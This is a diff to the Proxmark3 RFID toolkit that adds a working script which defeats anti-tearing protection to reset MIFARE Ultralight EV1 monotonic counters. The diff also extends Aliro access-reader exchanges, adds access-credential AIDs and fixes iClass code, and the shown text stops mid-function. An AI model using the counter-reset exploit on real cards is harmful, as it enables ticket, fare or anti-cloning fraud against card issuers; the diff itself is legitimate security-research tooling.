diff --git a/client/luascripts/paxton_clone.lua b/client/luascripts/paxton_clone.lua index 5e9076c9f..7c538181d 100644 --- a/client/luascripts/paxton_clone.lua +++ b/client/luascripts/paxton_clone.lua @@ -10,7 +10,7 @@ local logfilecmd if package.config:sub(1,1) == "\\" then logfilecmd = 'dir /a-d /o-d /tw /b/s "' .. dir .. '" 2>nul:' else - logfilecmd = 'find "' .. dir .. '" -type f -printf "%T@ %p\\n" | sort -nr | cut -d" " -f2-' + logfilecmd = 'find "' .. dir .. '" -type f | sort -nr | cut -d" " -f2-' end local logfile = (io.popen(logfilecmd):read("*a"):match("%C+")) diff --git a/client/pyscripts/mfuev1_counter_reset.py b/client/pyscripts/mfuev1_counter_reset.py new file mode 100644 index 000000000..e4d987c1c --- /dev/null +++ b/client/pyscripts/mfuev1_counter_reset.py @@ -0,0 +1,224 @@ +#!/usr/bin/env python3 + +#----------------------------------------------------------------------------- +# Copyright (C) Proxmark3 contributors. See AUTHORS.md for details. +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# See LICENSE.txt for the text of the license. +#----------------------------------------------------------------------------- +# This script bypasses the Anti-Tearing protection on MIFARE Ultralight EV1 monotonic counters and allows resetting the counter value +# Script version: 1.0.0 +# Created by W0rthlessS0ul (https://github.com/W0rthlessS0ul) +# Based on Quarkslab research: https://blog.quarkslab.com/rfid-monotonic-counter-anti-tearing-defeated.html +#----------------------------------------------------------------------------- + +import argparse +import sys +import os +import pm3 + +try: + from colors import color +except ModuleNotFoundError: + def color(s, fg=None): + _ = fg + return str(s) + +p = pm3.pm3() + +ProgramName = os.path.basename(sys.argv[0]) +attempt = 0 +byte = 1 + +parser = argparse.ArgumentParser( + formatter_class=argparse.RawTextHelpFormatter, + prog=color(f"\n script run {ProgramName}", "red"), + epilog=color(f"examples:\n", "green") + color(f" script run {ProgramName} -c 0\n script run {ProgramName} -c 0 -i 25\n script run {ProgramName} -c 0 -i 25 -f True\n script run {ProgramName} -c 0 -i 25 -f True --BD 2350 --00 225", "yellow") + ) +parser.add_argument('-c', '--cnt', metavar='', type=str, default='0', help='Counter index') +parser.add_argument('-i', '--inc', metavar='', type=int, default=25, help='Increase time steps') +parser.add_argument('-f', '--force', metavar='', type=bool, help='Force start without checking') +parser.add_argument('--DelayBD', metavar='', type=int, help='Manual adjustment of BD delay (disables auto-configuring)') +parser.add_argument('--Delay00', metavar='', type=int, help='Manual adjustment of 00 delay (disables auto-configuring)') + +if '-h' in sys.argv or '--help' in sys.argv: + help_text = parser.format_help() + help_text = help_text.replace("usage:", f"\n{color('Counter reset of Mifare UL EV1 cards', 'cyan')}\n\nusage:") + help_text = help_text.replace("options:", color("options:", "green")).replace("usage:", color("usage:", "green")) + print(help_text) + sys.exit(0) + +args = parser.parse_args() + +counter_number = args.cnt + +def read_counter(counter_numb): + p.console(f"hf 14a raw -s -c 39 0{counter_numb}", capture=True) + counter = str(p.grabbed_output).split(" [ ")[0].replace("[+] ", "").replace(" ", "").lower() + counter_bytes = bytes.fromhex(counter) + counter_int = int.from_bytes(counter_bytes, byteorder='little') + return counter, counter_int + +def enable_tearoff(delay): + p.console(f"hw tearoff --delay {delay}") + p.console("hw tearoff --on", capture=True) + if str(p.grabbed_output).find("enabled") >= 0: + return True + return False + +def incr_cnt(counter_numb, StrBytes): + p.console(f"hf 14a raw -s -c A5 0{counter_numb} {StrBytes} 00") + p.grabbed_output + +def check_tearing_event(counter_numb): + p.console(f"hf 14a raw -s -c 3E 0{counter_numb}", capture=True) + tearing = str(p.grabbed_output).split("[+] ")[1].split(" [ ")[0].replace("\n", "").split(" ")[0] + if tearing == "BD": + return True, tearing + return False, tearing + +def some_tests(counter_numb): + try: + p.console(f"hf 14a raw -s -c 60", capture=True) + info = str(p.grabbed_output).split("[+] ")[1].split(" [ ")[0].replace("\n", "").split(" ") + if info[4] != "01": + print(f"[{color('!', 'red')}] Support only EV1 versions") + return False + except: + print(f"[{color('!', 'red')}] Support only Mifare UL EV1 cards") + return False + + tearing = check_tearing_event(counter_number)[1] + if tearing != "00" and tearing != "BD": + print(f"[{color('!', 'red')}] Looks like you're card doesn't support CHECK_TEARING_EVENT") + return False + + counter_str, counter = read_counter(counter_number) + if counter == 16777215: + print(f"[{color('!', 'red')}] The counter value is at its maximum, it cannot be reset") + return False + elif counter == 0: + print(f"[{color('!', 'red')}] The counter value is already at the minimum level") + return False + + if counter_str[:4] == "0000": + print(f"\n[{color('+', 'green')}] First two bytes set to 00, skip") + byte = 3 + elif counter_str[:2] == "00": + print(f"\n[{color('+', 'green')}] First byte set to 00, skip") + byte = 2 + + return True + +if __name__ == "__main__": + if not args.force and not some_tests(counter_number): + print(f"[{color('?', 'goldenrod')}] Try `{color(f'script run {ProgramName} -f True', 'goldenrod')}` if this is a script bug", end="") + sys.exit(0) + + if args.DelayBD == None: + for Delay_BD in range(1000, 5000, args.inc): + initial_counter_str, initial_counter_int = read_counter(counter_number) + enable_tearoff(Delay_BD) + incr_cnt(counter_number, "010000") + check_tearing, check_tearing_clear = check_tearing_event(counter_number) + final_counter_str, final_counter_int = read_counter(counter_number) + print(f"\r[{color('=', 'goldenrod')}] Testing delay: {color(Delay_BD, 'yellow')} us | Check tearing: {color(check_tearing_clear, 'red') if not check_tearing else color(check_tearing_clear, 'green')} | Counter: {color(final_counter_str.upper(), 'yellow')}", end="", flush=True) + if final_counter_int > initial_counter_int and check_tearing: + print(f"\n[{color('+', 'green')}] Work delay for BD: {color(Delay_BD, 'green')} us") + break + else: + Delay_BD = args.DelayBD + print(f"[{color('+', 'green')}] Work delay for BD: {color(Delay_BD, 'green')} us") + if args.Delay00 == None: + for Delay_00 in range(100, 1000, args.inc): + initial_counter_str, initial_counter_int = read_counter(counter_number) + enable_tearoff(Delay_00) + incr_cnt(counter_number, "000000") + check_tearing, check_tearing_clear = check_tearing_event(counter_number) + final_counter_str, final_counter_int = read_counter(counter_number) + print(f"\r[{color('=', 'goldenrod')}] Testing delay: {color(Delay_00, 'yellow')} us | Check tearing: {color(check_tearing_clear, 'green') if not check_tearing else color(check_tearing_clear, 'red')} | Counter: {color(final_counter_str.upper(), 'yellow')}", end="", flush=True) + if not check_tearing: + print(f"\n[{color('+', 'green')}] Work delay for 00: {color(Delay_00, 'green')} us") + incr_cnt(counter_number, "000000") + break + else: + Delay_00 = args.Delay00 + print(f"[{color('+', 'green')}] Work delay for 00: {color(Delay_00, 'green')} us") + + constant_counter_int = read_counter(counter_number)[1] + while True: + initial_counter_str, initial_counter_int = read_counter(counter_number) + + enable_tearoff(Delay_BD) + match byte: + case 1: + incr_cnt(counter_number, "010000") + case 2: + incr_cnt(counter_number, "000100") + case 3: + incr_cnt(counter_number, "000001") + enable_tearoff(Delay_00) + incr_cnt(counter_number, "000000") + + final_counter_str, final_counter_int = read_counter(counter_number) + check_tearing, check_tearing_clear = check_tearing_event(counter_number) + + attempt+=1 + print(f"\r[{color('=', 'goldenrod')}] Attempt: {color(attempt, 'green')} | Delay BD/00: {color(Delay_BD, 'yellow')}/{color(Delay_00, 'yellow')} us | Check tearing: {color(check_tearing_clear, 'yellow')} | Counter changing: {color(initial_counter_str.upper(), 'red') if initial_counter_int <= final_counter_int else color(initial_counter_str.upper(), 'green')}==>{color(final_counter_str.upper(), 'red') if initial_counter_int <= final_counter_int else color(final_counter_str.upper(), 'green')}", end="", flush=True) + + if attempt % 20 == 0 and constant_counter_int == final_counter_int: + Delay_BD+=5 + constant_counter_int = final_counter_int + print(f"\n[{color('=', 'goldenrod')}] BD delay increased {color(Delay_BD, 'green')}") + elif attempt % 20 == 0 and final_counter_int - constant_counter_int > 10: + Delay_BD-=5 + constant_counter_int = final_counter_int + print(f"\n[{color('=', 'goldenrod')}] BD delay reduced {color(Delay_BD, 'red')}") + + if attempt % 5 == 0 and check_tearing: + Delay_00+=5 + print(f"\n[{color('=', 'goldenrod')}] 00 delay increased {color(Delay_00, 'green')}") + + if attempt % 20 == 0: constant_counter_int = final_counter_int + + if final_counter_int < initial_counter_int and final_counter_str[:2] == "00" and byte == 1: + if final_counter_str[-4:] == "0000": + print(f"\n[{color('+', 'green')}] Exploit successfull, all byte set to 00") + byte = 4 + elif final_counter_str[-4:][:2] == "00": + print(f"\n[{color('+', 'green')}] Exploit successfull, first two bytes set to 00") + byte = 3 + else: + print(f"\n[{color('+', 'green')}] Exploit successfull, first byte set to 00") + byte = 2 + elif final_counter_int < initial_counter_int and final_counter_str[-4:][:2] == "00" and byte == 2: + if final_counter_str[-2:] == "00": + print(f"\n[{color('+', 'green')}] Exploit successfull, all byte set to 00") + byte = 4 + else: + print(f"\n[{color('+', 'green')}] Exploit successfull, second byte set to 00") + byte = 3 + elif final_counter_int < initial_counter_int and final_counter_str[-2:] == "00" and byte == 3: + print(f"\n[{color('+', 'green')}] Exploit successfull, third byte set to 00") + byte = 4 + + if byte == 4: + check_tearing, check_tearing_clear = check_tearing_event(counter_number) + if not check_tearing: + print(f"\n[{color('#', 'blue')}] Check tearing: {color(check_tearing_clear, 'red')}\n[{color('=', 'goldenrod')}] Copying slot A to B") + while not check_tearing: + check_tearing, check_tearing_clear = check_tearing_event(counter_number) + incr_cnt(counter_number, "000000") + print(f"[{color('+', 'green')}] Check tearing: {color(check_tearing_clear, 'green')}") + + print(f"\n[{color('+', 'green')}] Exploit successfull\n[{color('=', 'goldenrod')}] - Initial counter: {initial_counter_str.upper()}\n[{color('=', 'goldenrod')}] - Final counter: {color(final_counter_str.upper(), 'green')}\n[{color('=', 'goldenrod')}] - Counter changing: {initial_counter_int - final_counter_int}\n[{color('=', 'goldenrod')}] - Check tearing: {color(check_tearing_clear, 'green')}", end="") + sys.exit(0) \ No newline at end of file diff --git a/client/resources/aidlist.json b/client/resources/aidlist.json index 5e4a6bcef..519557ed0 100644 --- a/client/resources/aidlist.json +++ b/client/resources/aidlist.json @@ -2447,12 +2447,20 @@ "Description": "Used by both by physical cards and mobile implementations", "Type": "access" }, + { + "AID": "A0000004400001010001000002", + "Vendor": "HID Global", + "Country": "", + "Name": "SEOS Mobile", + "Description": "Declared by some SEOS-compatible HID partner applications for HCE", + "Type": "access" + }, { "AID": "A00000054000060100010000FF", "Vendor": "HID Global", "Country": "", "Name": "SEOS Mobile", - "Description": "Declared by some SEOS-compatible applications for HCE", + "Description": "Declared by some SEOS-compatible HID partner applications for HCE", "Type": "access" }, { @@ -2502,5 +2510,21 @@ "Name": "Crescendo OATH #2", "Description": "HID Crescendo Key OATH instance 2", "Type": "access" + }, + { + "AID": "FF55494420414343455353", + "Vendor": "UniFi", + "Country": "", + "Name": "UniFi Access HCE Credential", + "Description": "Declared as 'other' service", + "Type": "access" + }, + { + "AID": "FF55494420414343455356", + "Vendor": "UniFi", + "Country": "", + "Name": "UniFi Access HCE Credential", + "Description": "Declared as 'payment' service", + "Type": "access" } ] diff --git a/client/src/cmdhfaliro.c b/client/src/cmdhfaliro.c index a0abc69d0..b3a1c19d1 100644 --- a/client/src/cmdhfaliro.c +++ b/client/src/cmdhfaliro.c @@ -59,6 +59,8 @@ static const uint8_t ALIRO_SECURE_CHANNEL_DEVICE_MODE[] = {0, 0, 0, 0, 0, 0, 0, static const uint8_t ALIRO_NFC_INTERFACE_BYTE = 0x5E; static const uint8_t ALIRO_AUTH0_DEFAULT_POLICY = 0x01; static const uint8_t ALIRO_AUTH1_REQUEST_PUBLIC_KEY = 0x01; +static const uint8_t ALIRO_EXCHANGE_INS = 0xC9; +static const uint8_t ALIRO_READER_STATUS_STATE_UNSECURE[] = {0x01, 0x01}; // UNSECURE means "opened" static const char ALIRO_DEFAULT_STEP_UP_SCOPE[] = "matter1"; #define ALIRO_MAX_BUFFER 2048 @@ -172,6 +174,13 @@ typedef struct { aliro_derived_keys_t keys; } aliro_standard_result_t; +typedef struct { + const uint8_t (*sk_reader)[32]; + uint32_t reader_counter; + const uint8_t (*sk_device)[32]; + uint32_t device_counter; +} aliro_secure_channel_state_t; + typedef struct { aliro_select_info_t select_info; uint8_t protocol_version[2]; @@ -188,11 +197,19 @@ typedef struct { aliro_fast_result_t fast_result; aliro_auth1_response_t auth1_parsed; aliro_standard_result_t standard_result; + aliro_secure_channel_state_t expedited_secure_channel; + aliro_secure_channel_state_t step_up_secure_channel; } aliro_read_state_t; static int CmdHelp(const char *Cmd); static const char *aliro_cbor_type_name(CborType type); static bool aliro_cbor_print_scalar(const char *label, const CborValue *value); +static int aliro_secure_channel_encrypt_reader_payload(aliro_secure_channel_state_t *channel, + const uint8_t *plaintext, size_t plaintext_len, + uint8_t *ciphertext, size_t ciphertext_max, size_t *ciphertext_len); +static int aliro_secure_channel_decrypt_device_payload(aliro_secure_channel_state_t *channel, + const uint8_t *ciphertext, size_t ciphertext_len, + uint8_t *plaintext, size_t plaintext_max, size_t *plaintext_len); static const char *get_aliro_application_type_name(uint16_t type) { for (size_t i = 0; i < ARRAYLEN(aliro_application_type_map); ++i) { @@ -1609,6 +1626,10 @@ aliro_append_tlv(0x4D, state->reader_identifier, 32, auth0_data, sizeof(auth0_da PrintAndLogEx(INFO, " Fast BleSKReader.......... %s", sprint_hex_inrow(state->fast_result.keys.ble_sk_reader, 32)); PrintAndLogEx(INFO, " Fast BleSKDevice.......... %s", sprint_hex_inrow(state->fast_result.keys.ble_sk_device, 32)); PrintAndLogEx(INFO, " Fast URSK................. %s", sprint_hex_inrow(state->fast_result.keys.ursk, 32)); + state->expedited_secure_channel.sk_reader = &state->fast_result.keys.exchange_sk_reader; + state->expedited_secure_channel.reader_counter = 1; + state->expedited_secure_channel.sk_device = &state->fast_result.keys.exchange_sk_device; + state->expedited_secure_channel.device_counter = 1; if (flow == ALIRO_FLOW_FAST) { *fast_flow_complete = true; return PM3_SUCCESS; @@ -1665,6 +1686,15 @@ static int aliro_read_prepare_auth1_keys(aliro_read_state_t *state, state->standard_result.keys.kpersistent_present = false; memset(state->standard_result.keys.kpersistent, 0, sizeof(state->standard_result.keys.kpersistent)); + state->expedited_secure_channel.sk_reader = &state->standard_result.keys.exchange_sk_reader; + state->expedited_secure_channel.reader_counter = 1; + state->expedited_secure_channel.sk_device = &state->standard_result.keys.exchange_sk_device; + state->expedited_secure_channel.device_counter = 1; + state->step_up_secure_channel.sk_reader = &state->standard_result.keys.step_up_sk_reader; + state->step_up_secure_channel.reader_counter = 1; + state->step_up_secure_channel.sk_device = &state->standard_result.keys.step_up_sk_device; + state->step_up_secure_channel.device_counter = 1; + return PM3_SUCCESS; } @@ -1739,18 +1769,17 @@ aliro_append_tlv(0x9E, auth1_signature, 64, return PM3_ESOFT; } - uint8_t auth1_iv[12] = {0}; - aliro_build_secure_channel_iv(ALIRO_SECURE_CHANNEL_DEVICE_MODE, 1, auth1_iv); - uint8_t auth1_plain[ALIRO_MAX_BUFFER] = {0}; - res = aliro_aes_gcm_decrypt(state->standard_result.keys.exchange_sk_device, auth1_iv, sizeof(auth1_iv), - auth1_response_enc, auth1_response_enc_len, auth1_plain); + size_t auth1_plain_len = 0; + res = aliro_secure_channel_decrypt_device_payload(&state->expedited_secure_channel, + auth1_response_enc, auth1_response_enc_len, + auth1_plain, sizeof(auth1_plain), + &auth1_plain_len); if (res != PM3_SUCCESS) { PrintAndLogEx(ERR, "Failed to decrypt AUTH1 response"); return res; } - size_t auth1_plain_len = auth1_response_enc_len - 16; res = aliro_parse_auth1_plaintext(auth1_plain, auth1_plain_len, &state->auth1_parsed); if (res != PM3_SUCCESS) { return res; @@ -2010,29 +2039,29 @@ static void aliro_print_step_up_scopes(const aliro_step_up_scopes_t *scopes) { PrintAndLogEx(INFO, "Step-up scopes............ %s", joined); } -static int aliro_secure_channel_encrypt_reader_payload(const uint8_t sk_reader[32], uint32_t *reader_counter, +static int aliro_secure_channel_encrypt_reader_payload(aliro_secure_channel_state_t *channel, const uint8_t *plaintext, size_t plaintext_len, uint8_t *ciphertext, size_t ciphertext_max, size_t *ciphertext_len) { - if (sk_reader == NULL || reader_counter == NULL || plaintext == NULL || + if (channel == NULL || channel->sk_reader == NULL || plaintext == NULL || ciphertext == NULL || ciphertext_len == NULL) { return PM3_EINVARG; } uint8_t iv[12] = {0}; - aliro_build_secure_channel_iv(ALIRO_SECURE_CHANNEL_READER_MODE, *reader_counter, iv); - int res = aliro_aes_gcm_encrypt(sk_reader, iv, sizeof(iv), + aliro_build_secure_channel_iv(ALIRO_SECURE_CHANNEL_READER_MODE, channel->reader_counter, iv); + int res = aliro_aes_gcm_encrypt(*channel->sk_reader, iv, sizeof(iv), plaintext, plaintext_len, ciphertext, ciphertext_max, ciphertext_len); if (res == PM3_SUCCESS) { - (*reader_counter)++; + channel->reader_counter++; } return res; } -static int aliro_secure_channel_decrypt_device_payload(const uint8_t sk_device[32], uint32_t *device_counter, +static int aliro_secure_channel_decrypt_device_payload(aliro_secure_channel_state_t *channel, const uint8_t *ciphertext, size_t ciphertext_len, uint8_t *plaintext, size_t plaintext_max, size_t *plaintext_len) { - if (sk_device == NULL || device_counter == NULL || ciphertext == NULL || + if (channel == NULL || channel->sk_device == NULL || ciphertext == NULL || plaintext == NULL || plaintext_len == NULL) { return PM3_EINVARG; } @@ -2041,15 +2070,84 @@ static int aliro_secure_channel_decrypt_device_payload(const uint8_t sk_device[3 } uint8_t iv[12] = {0}; - aliro_build_secure_channel_iv(ALIRO_SECURE_CHANNEL_DEVICE_MODE, *device_counter, iv); - int res = aliro_aes_gcm_decrypt(sk_device, iv, sizeof(iv), ciphertext, ciphertext_len, plaintext); + aliro_build_secure_channel_iv(ALIRO_SECURE_CHANNEL_DEVICE_MODE, channel->device_counter, iv); + int res = aliro_aes_gcm_decrypt(*channel->sk_device, iv, sizeof(iv), ciphertext, ciphertext_len, plaintext); if (res == PM3_SUCCESS) { - (*device_counter)++; + channel->device_counter++; *plaintext_len = ciphertext_len - 16; } return res; } +static int aliro_send_reader_status_exchange(aliro_secure_channel_state_t *channel, + const uint8_t reader_status[2]) { + if (channel == NULL || channel->sk_reader == NULL || + channel->sk_device == NULL || reader_status == NULL) { + return PM3_EINVARG; + } + PrintAndLogEx(INFO, ""); + PrintAndLogInfoHeader("EXCHANGE"); + + uint8_t status_plaintext[8] = {0}; + size_t status_plaintext_len = 0; + int res = aliro_append_tlv(0x97, reader_status, 2, + status_plaintext, sizeof(status_plaintext), &status_plaintext_len); + if (res != PM3_SUCCESS) { + PrintAndLogEx(ERR, "Failed to encode EXCHANGE reader status payload"); + return res; + } + + uint8_t status_ciphertext[ALIRO_MAX_BUFFER] = {0}; + size_t status_ciphertext_len = 0; + res = aliro_secure_channel_encrypt_reader_payload(channel, + status_plaintext, status_plaintext_len, + status_ciphertext, sizeof(status_ciphertext), + &status_ciphertext_len); + if (res != PM3_SUCCESS) { + PrintAndLogEx(ERR, "Failed to encrypt EXCHANGE reader status payload"); + return res; + } + + uint8_t exchange_response[ALIRO_MAX_BUFFER] = {0}; + size_t exchange_response_len = 0; + uint16_t exchange_sw = 0; + res = aliro_exchange_chained(false, true, 0x80, ALIRO_EXCHANGE_INS, 0x00, 0x00, + status_ciphertext, status_ciphertext_len, + exchange_response, sizeof(exchange_response), + &exchange_response_len, &exchange_sw); + if (res != PM3_SUCCESS) { + PrintAndLogEx(ERR, "Reader status EXCHANGE APDU exchange failed"); + return res; + } + + if (exchange_sw != ISO7816_OK) { + PrintAndLogEx(ERR, "Reader status EXCHANGE failed: %04x - %s", + exchange_sw, GetAPDUCodeDescription(exchange_sw >> 8, exchange_sw & 0xff)); + return PM3_ESOFT; + } + PrintAndLogEx(INFO, "Reader status EXCHANGE.... %04x", exchange_sw); + if (exchange_response_len == 0) { + return PM3_SUCCESS; + } + + uint8_t response_plaintext[ALIRO_MAX_BUFFER] = {0}; + size_t response_plaintext_len = 0; + res = aliro_secure_channel_decrypt_device_payload(channel, + exchange_response, exchange_response_len, + response_plaintext, sizeof(response_plaintext), + &response_plaintext_len); + if (res != PM3_SUCCESS) { + PrintAndLogEx(ERR, "Failed to decrypt reader status EXCHANGE response"); + return res; + } + if (response_plaintext_len > 0) { + PrintAndLogEx(INFO, "Reader status response.... %s", + sprint_hex_inrow(response_plaintext, response_plaintext_len)); + } + + return PM3_SUCCESS; +} + static bool aliro_cbor_key_equals(const CborValue *key, int int_key, const char *text_key) { if (key == NULL) { return false; @@ -3243,11 +3341,15 @@ static int aliro_step_up_print_device_response(const uint8_t *device_response, s return PM3_SUCCESS; } -static int aliro_read_do_step_up(const aliro_read_state_t *state, +static int aliro_read_do_step_up(aliro_read_state_t *state, const aliro_step_up_scopes_t *step_up_scopes) { - if (state == NULL || step_up_scopes == NULL) { + if (state == NULL || step_up_scopes == NULL || + state->step_up_secure_channel.sk_reader == NULL || + state->step_up_secure_channel.sk_device == NULL) { return PM3_EINVARG; } + aliro_secure_channel_state_t *step_up_channel = &state->step_up_secure_channel; + if (!state->standard_result.keys.step_up_keys_present) { PrintAndLogEx(ERR, "Step-up keys are not available"); return PM3_ESOFT; @@ -3314,12 +3416,9 @@ static int aliro_read_do_step_up(const aliro_read_state_t *state, } PrintAndLogEx(INFO, "DeviceRequest CBOR........ %s", sprint_hex_inrow(device_request, device_request_len)); - uint32_t step_up_reader_counter = 1; - uint32_t step_up_device_counter = 1; uint8_t encrypted_device_request[ALIRO_MAX_BUFFER] = {0}; size_t encrypted_device_request_len = 0; - res = aliro_secure_channel_encrypt_reader_payload(state->standard_result.keys.step_up_sk_reader, - &step_up_reader_counter, + res = aliro_secure_channel_encrypt_reader_payload(step_up_channel, device_request, device_request_len, encrypted_device_request, sizeof(encrypted_device_request), &encrypted_device_request_len); @@ -3386,8 +3485,7 @@ static int aliro_read_do_step_up(const aliro_read_state_t *state, uint8_t device_response_plaintext[ALIRO_MAX_BUFFER] = {0}; size_t device_response_plaintext_len = 0; - res = aliro_secure_channel_decrypt_device_payload(state->standard_result.keys.step_up_sk_device, - &step_up_device_counter, + res = aliro_secure_channel_decrypt_device_payload(step_up_channel, encrypted_device_response, encrypted_device_response_len, device_response_plaintext, sizeof(device_response_plaintext), &device_response_plaintext_len); @@ -3450,6 +3548,11 @@ static int aliro_read_auth_flow(const uint8_t *kpersistent, size_t kpersistent_l break; } if (fast_flow_complete) { + res = aliro_send_reader_status_exchange(&state.expedited_secure_channel, + ALIRO_READER_STATUS_STATE_UNSECURE); + if (res != PM3_SUCCESS) { + PrintAndLogEx(WARNING, "Completion EXCHANGE failed after fast auth; continuing"); + } status = PM3_SUCCESS; break; } @@ -3478,6 +3581,15 @@ static int aliro_read_auth_flow(const uint8_t *kpersistent, size_t kpersistent_l break; } } + aliro_secure_channel_state_t *completion_channel = (flow == ALIRO_FLOW_STEP_UP) + ? &state.step_up_secure_channel + : &state.expedited_secure_channel; + const char *completion_flow_name = (flow == ALIRO_FLOW_STEP_UP) ? "step-up" : "expedited"; + res = aliro_send_reader_status_exchange(completion_channel, + ALIRO_READER_STATUS_STATE_UNSECURE); + if (res != PM3_SUCCESS) { + PrintAndLogEx(WARNING, "Completion EXCHANGE failed after %s auth; continuing", completion_flow_name); + } status = PM3_SUCCESS; } while (0); diff --git a/client/src/cmdhficlass.c b/client/src/cmdhficlass.c index 0d372110d..7819ee79d 100644 --- a/client/src/cmdhficlass.c +++ b/client/src/cmdhficlass.c @@ -98,6 +98,7 @@ bool check_known_default(uint8_t *csn, uint8_t *epurse, uint8_t *rmac, uint8_t * iclass_prekey_t *prekey = calloc(ICLASS_KEYS_MAX * 2, sizeof(iclass_prekey_t)); if (prekey == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); return false; } @@ -228,6 +229,11 @@ static void iclass_upload_emul(uint8_t *d, uint16_t n, uint16_t offset, uint16_t } struct p *payload = calloc(4 + bytes_in_packet, sizeof(uint8_t)); + if (payload == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + break; + } + payload->offset = offset + *bytes_sent; payload->len = bytes_in_packet; memcpy(payload->data, d + *bytes_sent, bytes_in_packet); @@ -1121,7 +1127,11 @@ int read_iclass_csn(bool loop, bool verbose, bool shallow_mod) { } picopass_hdr_t *card = calloc(1, sizeof(picopass_hdr_t)); - if (card) { + if (card == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + DropField(); + return PM3_EMALLOC; + } else { memcpy(card, &r->header.hdr, sizeof(picopass_hdr_t)); if (loop == false) { PrintAndLogEx(NORMAL, ""); @@ -1130,9 +1140,6 @@ int read_iclass_csn(bool loop, bool verbose, bool shallow_mod) { iclass_set_last_known_card(card); free(card); res = PM3_SUCCESS; - } else { - PrintAndLogEx(WARNING, "Failed to allocate memory"); - res = PM3_EMALLOC; } } } while (loop && (kbd_enter_pressed() == false)); @@ -1238,6 +1245,7 @@ static int CmdHFiClassELoad(const char *Cmd) { uint8_t *newdump = realloc(dump, bytes_read); if (newdump == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); free(dump); return PM3_EMALLOC; } else { @@ -1358,7 +1366,6 @@ static int CmdHFiClassEView(const char *Cmd) { PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } - memset(dump, 0, bytes); PrintAndLogEx(INFO, "downloading from emulator memory"); if (!GetFromDevice(BIG_BUF_EML, dump, bytes, 0, NULL, 0, NULL, 2500, false)) { @@ -1537,7 +1544,7 @@ static void iclass_decode_credentials(uint8_t *data) { binlen = corrected_len; } - PrintAndLogEx(SUCCESS, "Binary... " _GREEN_("%s") " ( %zu )", pbin, binlen); + PrintAndLogEx(SUCCESS, "Bin... " _GREEN_("%s") " ( %zu )", pbin, binlen); PrintAndLogEx(NORMAL, ""); // Use the corrected length (without sentinel) for decoding decode_wiegand(top, mid, bot, (int)binlen); @@ -1742,7 +1749,7 @@ static int CmdHFiClassDecrypt(const char *Cmd) { // use the first block (CSN) for filename char *fptr = calloc(50, sizeof(uint8_t)); - if (fptr == false) { + if (fptr == NULL) { PrintAndLogEx(WARNING, "Failed to allocate memory"); free(decrypted); return PM3_EMALLOC; @@ -2466,6 +2473,7 @@ static int CmdHFiClass_WriteBlock(const char *Cmd) { arg_lit0(NULL, "nr", "replay of NR/MAC block write or use privilege escalation if mac is empty"), arg_lit0("v", "verbose", "verbose output"), arg_lit0(NULL, "shallow", "use shallow (ASK) reader modulation instead of OOK"), + arg_lit0("@", NULL, "optional - continuous mode"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, false); @@ -2535,6 +2543,7 @@ static int CmdHFiClass_WriteBlock(const char *Cmd) { bool use_replay = arg_get_lit(ctx, 9); bool verbose = arg_get_lit(ctx, 10); bool shallow_mod = arg_get_lit(ctx, 11); + bool cm = arg_get_lit(ctx, 12); CLIParserFree(ctx); @@ -2543,19 +2552,31 @@ static int CmdHFiClass_WriteBlock(const char *Cmd) { return PM3_EINVARG; } - int isok = iclass_write_block(blockno, data, mac, key, use_credit_key, elite, rawkey, use_replay, verbose, auth, shallow_mod); - switch (isok) { - case PM3_SUCCESS: - PrintAndLogEx(SUCCESS, "Wrote block " _YELLOW_("%d") " / " _YELLOW_("0x%02X") " ( " _GREEN_("ok") " )", blockno, blockno); - break; - case PM3_ETEAROFF: - if (verbose) - PrintAndLogEx(INFO, "Writing tear off triggered"); - break; - default: - PrintAndLogEx(FAILED, "Writing failed"); - break; + if (cm) { + PrintAndLogEx(INFO, "Press " _GREEN_("") " to exit"); } + + int isok = 0; + do { + isok = iclass_write_block(blockno, data, mac, key, use_credit_key, elite, rawkey, use_replay, verbose, auth, shallow_mod); + switch (isok) { + case PM3_SUCCESS: { + PrintAndLogEx(SUCCESS, "Wrote block " _YELLOW_("%d") " / " _YELLOW_("0x%02X") " ( " _GREEN_("ok") " )", blockno, blockno); + break; + } + case PM3_ETEAROFF: { + if (verbose) { + PrintAndLogEx(INFO, "Writing tear off triggered"); + } + break; + } + default: { + PrintAndLogEx(FAILED, "Writing failed"); + break; + } + } + } while (cm && (kbd_enter_pressed() == false)); + PrintAndLogEx(NORMAL, ""); return isok; } @@ -2798,6 +2819,12 @@ static int CmdHFiClassRestore(const char *Cmd) { } iclass_restore_req_t *payload = calloc(1, payload_size); + if (payload == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + free(dump); + return PM3_EMALLOC; + } + payload->req.use_raw = rawkey; payload->req.use_elite = elite; payload->req.use_credit_key = use_credit_key; @@ -2860,7 +2887,7 @@ static int CmdHFiClassRestore(const char *Cmd) { } static int iclass_read_block_ex(uint8_t *KEY, uint8_t blockno, uint8_t keyType, bool elite, bool rawkey, bool replay, bool verbose, - bool auth, bool shallow_mod, uint8_t *out, bool print) { + bool auth, bool shallow_mod, uint8_t *out, bool print, bool loop) { iclass_auth_req_t payload = { .use_raw = rawkey, @@ -2897,9 +2924,14 @@ static int iclass_read_block_ex(uint8_t *KEY, uint8_t blockno, uint8_t keyType, } if (print) { - PrintAndLogEx(NORMAL, ""); + + if (loop == false) { + PrintAndLogEx(NORMAL, ""); + } PrintAndLogEx(SUCCESS, " block %3d/0x%02X : " _GREEN_("%s"), blockno, blockno, sprint_hex(packet->data, sizeof(packet->data))); - PrintAndLogEx(NORMAL, ""); + if (loop == false) { + PrintAndLogEx(NORMAL, ""); + } } if (out) { @@ -2910,8 +2942,8 @@ static int iclass_read_block_ex(uint8_t *KEY, uint8_t blockno, uint8_t keyType, } static int iclass_read_block(uint8_t *KEY, uint8_t blockno, uint8_t keyType, bool elite, bool rawkey, bool replay, bool verbose, - bool auth, bool shallow_mod, uint8_t *out) { - return 